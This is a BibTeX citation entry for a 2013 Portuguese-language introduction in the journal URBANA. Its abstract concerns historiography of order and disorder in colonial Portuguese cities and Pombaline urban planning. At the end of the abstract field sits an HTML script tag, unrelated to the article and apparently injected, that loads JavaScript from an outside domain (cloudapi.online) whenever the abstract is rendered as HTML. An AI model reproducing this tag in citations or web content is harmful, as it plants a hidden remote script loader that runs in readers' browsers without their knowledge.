@article{Torrão Filho_2013, place={Campinas, SP}, title={Apresentação}, volume={1}, url={https://periodicos.sbu.unicamp.br/ojs/index.php/urbana/article/view/8635107}, DOI={10.20396/urbana.v1i1.8635107}, abstractNote={<p>Durante muito tempo, a cidade colonial foi vista pela historiografia como espaço da desordem, do desleixo e da anomia. Para muitos também a cidade era uma exceção no espaço da América portuguesa, eminentemente rural, ou dominada pela natureza selvagem do continente. A partir da década de 1980, todo um debate se constituiu em torno da ordem ou desordem dos núcleos urbanos portugueses na América, com a contribuição de historiadores, geógrafos, arquitetos, antropólogos etc. Trabalhos importantes demonstraram como estas imagens, carregadas de preconceitos em alguns casos, não podiam ser estendidas a todas as cidades portuguesas de ultramar, sobretudo a partir do século XVIII, com o governo pombalino. A reconstrução de Lisboa após o terremoto de 1755, a construção de novas cidades planejadas no reino, como Vila Nova de Santo Antônio, ou no Brasil, como na Amazônia ou no Mato Grosso, por exemplo, demonstram como normas de construção ordenadas e preocupações com simetria, higiene, localização dos sítios urbanos não eram desconhecidas nem desprezadas pelos lusitanos.</p><script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script>}, number={1}, journal={URBANA: Revista Eletrônica do Centro Interdisciplinar de Estudos sobre a Cidade}, author={Torrão Filho, Amilcar}, year={2013}, month={abr.}, pages={1–1} }